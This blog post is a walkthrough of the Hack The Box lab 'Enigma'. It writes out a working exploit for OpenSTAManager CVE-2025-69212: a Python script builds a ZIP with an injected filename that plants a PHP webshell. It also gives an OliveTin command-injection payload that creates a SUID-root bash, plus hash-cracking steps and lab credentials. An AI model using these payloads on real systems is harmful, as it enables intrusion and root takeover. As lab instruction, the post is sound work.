Back to blog
← Back to posts

HTB: Enigma


Enigma is "easy" only on the difficulty label — it's a genuinely satisfying chain where each service coughs up the key to the next, and nothing along the way is a memory-corruption bug. An unauthenticated NFS export hands over onboarding paperwork with a temp password; password reuse walks that into a second user's webmail, which leaks credentials for a CRM; the CRM is a patched-but-still-vulnerable OpenSTAManager (CVE-2025-69212) that turns a ZIP upload into a webshell; a database password gets us a real user; and root is a misconfigured OliveTin automation tool that happily runs root-level commands — with attacker-supplied arguments — for anyone who can reach its socket.
Enigma compromise chain: an anonymous NFS export leaks kevin's onboarding password, reuse gives sandra's webmail which leaks OpenSTAManager admin creds, CVE-2025-69212 drops a webshell as www-data, config.inc.php DB creds crack haris's hash for user.txt, and a root-run OliveTin backup_database action injects db_pass into a shell for root.txt
NFS :2049 kevin (onboarding pdf) sandra (reuse) OpenSTAManager RCE www-data DB hash → haris OliveTin root

Reconnaissance

The scan is a mail-server-shaped surface — SSH, HTTP, POP3/IMAP (Dovecot), and crucially NFS on 2049. The TLS certs and an HTTP redirect name the host enigma.htb.

nmap
$ nmap -p- -sCV <TARGET_IP> 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 80/tcp open http nginx 1.24.0 (redirect → http://enigma.htb/) 110/tcp open pop3 Dovecot pop3d 143/tcp open imap Dovecot imapd 993/995 open ssl/imap, ssl/pop3 2049/tcp open nfs (RPC 100003 v3,4)

A vhost fuzz on enigma.htb turns up mail001 (Roundcube webmail) and later support_001. Add them to /etc/hosts and move on to the NFS export.

Initial Access — Anonymous NFS Leak

showmount lists a single export with the tell-tale *no client restriction, anyone can mount it:

showmount → mount
$ showmount -e <TARGET_IP> Export list for <TARGET_IP>: /srv/nfs/onboarding * $ sudo mount -t nfs <TARGET_IP>:/srv/nfs/onboarding /tmp/onboarding -o ro $ ls -la /tmp/onboarding -rw-r--r-- 1 root root 1751 Feb 19 14:53 New_Employee_Access.pdf

One world-readable file, named exactly like the kind of onboarding paperwork that ships a temp password. pdftotext confirms it:

pdftotext New_Employee_Access.pdf -
Enigma Corp IT Department — New Employee System Access Employee: Kevin Mitchell Webmail Access URL: http://mail001.enigma.htb Username: kevin Password: Enigma2024! Please change your password upon first login.
An NFS export with * and no root_squash consideration is the entire foothold. Exports should be pinned to specific hosts/subnets, mounted read-only where possible, and — obviously — never used to stage credential documents.

Password Reuse — kevin → sandra

The PDF's creds log into Roundcube as kevin, whose inbox is a bland welcome email from Sarah in Accounts. That's the lead: Sarah was onboarded the same way Kevin was, and the document told Kevin to change his temp password — nothing suggests anyone actually did. The cheap hypothesis is password reuse across staff, and it pays off:

sandra : Enigma2024!
Login to http://mail001.enigma.htb as sandra : Enigma2024! → success

Sandra's mailbox has the payoff — a "Re: OpenSTAManager Access Request" from IT with credentials for a third app:

sandra's inbox
Re: OpenSTAManager Access Request URL: http://support_001.enigma.htb Username: admin Password: Ne3s4rtars78s
Roundcube here is 1.6.16 — the patched release, not a vulnerable one. The way forward wasn't a webmail CVE; it was reading the mail. Enumeration isn't only about versions.

Foothold — OpenSTAManager P7M Injection (CVE-2025-69212)

support_001 runs OpenSTAManager 2.9.8, and the admin creds log straight in. That version is vulnerable to CVE-2025-69212, an OS command injection in P7M (signed-XML) file processing. The mechanism: when the app decodes a .p7m file it shells out to OpenSSL, interpolating the filename into the command with no sanitisation:

src/Util/XML.php — decodeP7M()
$output_file = $directory.'/'.basename($file, '.p7m'); exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);

The importFE_ZIP plugin extracts an uploaded ZIP and feeds each .p7m entry's name into that exec(). So a ZIP whose entry name closes the quote and injects a command is arbitrary execution. One constraint: PHP's ZipArchive::extractTo() splits on /, so the payload must be slash-free — cd files && … instead of an absolute path:

build the malicious zip
$ python3 - <<'EOF' import zipfile cmd = 'cd files && echo \'<?php system($_GET["c"]); ?>\' > SHELL.php' fn = f'invoice.p7m";{cmd};echo ".p7m' zipfile.ZipFile('exploit.zip','w').writestr(fn, b"DUMMY_P7M_CONTENT") EOF

Reading the filename against the vulnerable line: invoice.p7m" closes the quote wrapping the benign name, ;{cmd}; runs the payload as its own statement, and the trailing echo ".p7m absorbs the leftover -inform DER … as harmless arguments so nothing throws a syntax error. Upload it through the Importazione FE picker (a plain POST /actions.php, op=save, file field blob):

upload & confirm RCE
$ curl -b osm.cookies -F op=save -F id_module=14 -F id_plugin=48 \ -F 'blob=@exploit.zip;type=application/zip' http://support_001.enigma.htb/actions.php {"error":"... non è un file ZIP valido."} # fires AFTER exec() already ran $ curl "http://support_001.enigma.htb/files/SHELL.php?c=id" uid=33(www-data) gid=33(www-data) groups=33(www-data)
That XML-parse error is confirmation, not failure — the decoder chokes on DUMMY_P7M_CONTENT because it isn't valid signed XML, but that check happens only after our injected filename has already run through exec(). The webshell is on disk.

www-data → haris — Database Password Reuse

OpenSTAManager's config.inc.php holds its MySQL login, and OSM stores its own users as bcrypt in the zz_users table:

config → db → hashes
www-data$ grep -E 'db_(username|password|name)' config.inc.php $db_username = 'brollin'; $db_password = 'Fri3nds@9099'; $db_name = 'openstamanager'; www-data$ mysql -u brollin -p'Fri3nds@9099' openstamanager -N -e \ 'SELECT username,password FROM zz_users;' admin $2y$10$rTJVUNyGGKPlhw2cFdf5Ae... haris $2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC

haris is a real system user too. His bcrypt falls to rockyou in seconds:

hashcat -m 3200
$ hashcat -m 3200 haris.hash rockyou.txt $2y$10$WHf1T79sxjsZongUKT2j...:bestfriends

SSH is public-key only, so su haris is the way in. The user flag lives in his home:

su haris → user.txt
www-data$ su haris # bestfriends haris@enigma:~$ cat user.txt [redacted — user flag]

Root — A Root Automation Tool That Trusts Its Input

haris has no sudo. Process enumeration turns up something running as root: /usr/local/bin/OliveTin — a web-based "run buttons for shell commands" tool, listening on 127.0.0.1:1337. Its config (/etc/OliveTin/config.yaml) has two damning settings and one dangerous action:

/etc/OliveTin/config.yaml (excerpt)
authRequireGuestsToLogin: false # guests can do anything defaultPermissions: { exec: true } - title: Backup Database id: backup_database shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql" arguments: - name: db_pass type: password # NOT an ascii_identifier — never sanitised

Two of the three arguments are ascii_identifier (validated), but db_pass is a password type — free-form, no character filtering — and it's dropped straight into a shell template. Close the -p'…' quote and inject.

The subtlety that cost me time: this action is only reachable as haris. From the www-data webshell, every connection to 127.0.0.1:1337 simply hung — a host firewall owner-match drops the web user's traffic to OliveTin. That's exactly why the box needs the su haris step; it isn't optional colour. As haris, the API returns 200 immediately.
OliveTin privesc diagram: www-data has RCE but is firewalled from port 1337, haris can reach the OliveTin API which runs the backup_database action as root guest, and the unsanitized db_pass password-type argument breaks out of the mysqldump shell to install a SUID root bash

OliveTin speaks ConnectRPC. The async StartAction method silently dropped my actionId; the working call is StartActionAndWait. Inject through db_pass to drop a SUID-root bash:

StartActionAndWait — as haris
haris@enigma:~$ curl -s http://127.0.0.1:1337/api/olivetin.api.v1.OliveTinApiService/StartActionAndWait \ -H 'Content-Type: application/json' --data '{ "actionId":"backup_database", "arguments":[ {"name":"db_user","value":"backup_svc"}, {"name":"db_pass","value":"x'"'"' ; install -m 4755 /bin/bash /tmp/.bs ; #"}, {"name":"db_name","value":"production"}]}' {"logEntry":{"actionTitle":"Backup Database","exitCode":0,"user":"guest", ...}}

The template renders as mysqldump -u backup_svc -p'x' ; install -m 4755 /bin/bash /tmp/.bs ; #' production … — the install runs as root and drops a setuid bash. Then -p keeps the effective UID at 0:

SUID bash → root
$ /tmp/.bs -p -c 'id; cat /root/root.txt' uid=33(www-data) euid=0(root) groups=33(www-data) [redacted — root flag]
"Run buttons for shell commands" is a tidy idea until the buttons take free-form arguments, run as root, and accept unauthenticated guests. Any one of those turned off stops this: validate/whitelist argument values, never run the daemon as root, and require auth for exec. Security-by-obscurity (binding to loopback) only bought a firewall rule that one su defeats.

Why it worked

StageRoot cause
→ kevinNFS export shared to * with a credential document inside it (CWE-552 / CWE-284)
kevin → sandraShared onboarding temp password reused across staff, never rotated (CWE-521 / CWE-259)
→ www-dataOpenSTAManager ≤2.9.8 interpolates a .p7m filename into exec() — CVE-2025-69212 (CWE-78)
→ harisDB password in config + a crackable bcrypt reused as the system password (CWE-522)
→ rootRoot-run OliveTin with guest exec and an unsanitised password-type argument in a shell template (CWE-78 / CWE-269 / CWE-306)

Key commands

quick reference
# 1. NFS → onboarding creds showmount -e <IP> ; sudo mount -t nfs <IP>:/srv/nfs/onboarding /tmp/onboarding -o ro pdftotext /tmp/onboarding/New_Employee_Access.pdf - # kevin:Enigma2024! # 2. reuse → sandra webmail → OpenSTAManager admin:Ne3s4rtars78s # 3. CVE-2025-69212 → webshell (www-data) zip entry name: invoice.p7m";cd files && echo '<?php system($_GET[c]); ?>' > SHELL.php;echo ".p7m POST /actions.php op=save id_module=14 id_plugin=48 blob=@exploit.zip # 4. DB creds → crack → haris mysql -u brollin -p'Fri3nds@9099' openstamanager -e 'SELECT username,password FROM zz_users;' hashcat -m 3200 haris.hash rockyou.txt # bestfriends → su haris # 5. OliveTin (as haris) → root curl http://127.0.0.1:1337/api/olivetin.api.v1.OliveTinApiService/StartActionAndWait \ --data '{"actionId":"backup_database","arguments":[{"name":"db_pass", "value":"x'"'"' ; install -m 4755 /bin/bash /tmp/.bs ; #"}, ...]}' /tmp/.bs -p -c 'cat /root/root.txt'